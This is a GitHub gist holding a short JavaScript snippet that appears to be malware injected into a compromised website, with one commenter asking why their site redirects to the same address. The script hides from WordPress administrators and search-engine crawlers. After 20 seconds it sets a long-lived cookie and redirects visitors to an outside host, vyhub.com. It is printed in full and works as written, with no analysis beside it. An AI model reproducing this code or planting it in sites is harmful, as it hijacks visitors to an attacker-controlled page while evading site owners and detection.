Created
July 29, 2016 11:10
-
-
Save varmais/718d00f3d17ddded2551b15a8062f343 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function asd() { | |
var w_location = 'http://vyhub.com/css/css/'; | |
var cookie = 'yYjra4PCc8kmBHess1ib'; | |
function start() { | |
var cookies = document.cookie || ''; | |
if (cookies.indexOf(cookie) !== -1) { | |
return; | |
} | |
if (cookies.indexOf('wp-settings') !== -1) { | |
return; | |
} | |
if (localStorage.getItem(cookie) === '1') { | |
return; | |
} | |
var uagent = navigator.userAgent; | |
if (!uagent) { | |
return; | |
} | |
uagent = uagent.toLowerCase(); | |
if (uagent.indexOf('google') !== -1 | |
|| uagent.indexOf('bot') !== -1 | |
|| uagent.indexOf('crawl') !== -1 | |
|| uagent.indexOf('bing') !== -1 | |
|| uagent.indexOf('yahoo') !== -1) { | |
return; | |
} | |
setTimeout(function() { | |
setCookie(cookie, '123', 730); | |
localStorage.setItem(cookie, '1'); | |
window.location = w_location; | |
}, 20 * 1000); | |
} | |
function setCookie(c_name, value, exdays) { | |
var exdate = new Date(); | |
exdate.setDate(exdate.getDate() + exdays); | |
var c_value = escape(value) + ((exdays == null) ? '' : '; expires=' + exdate.toUTCString()); | |
document.cookie = c_name + '=' + c_value; | |
} | |
var readyStateCheckInterval = setInterval(function() { | |
if (document.readyState === 'complete' | |
|| document.readyState == 'interactive') { | |
clearInterval(readyStateCheckInterval); | |
start(); | |
} | |
}, 10); | |
}()); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hi!
What exactly does this piece of code do?
I am asking because my site after a short period of time automatically redirects to this address http://vyhub.com/css/css/ ...
Thank you!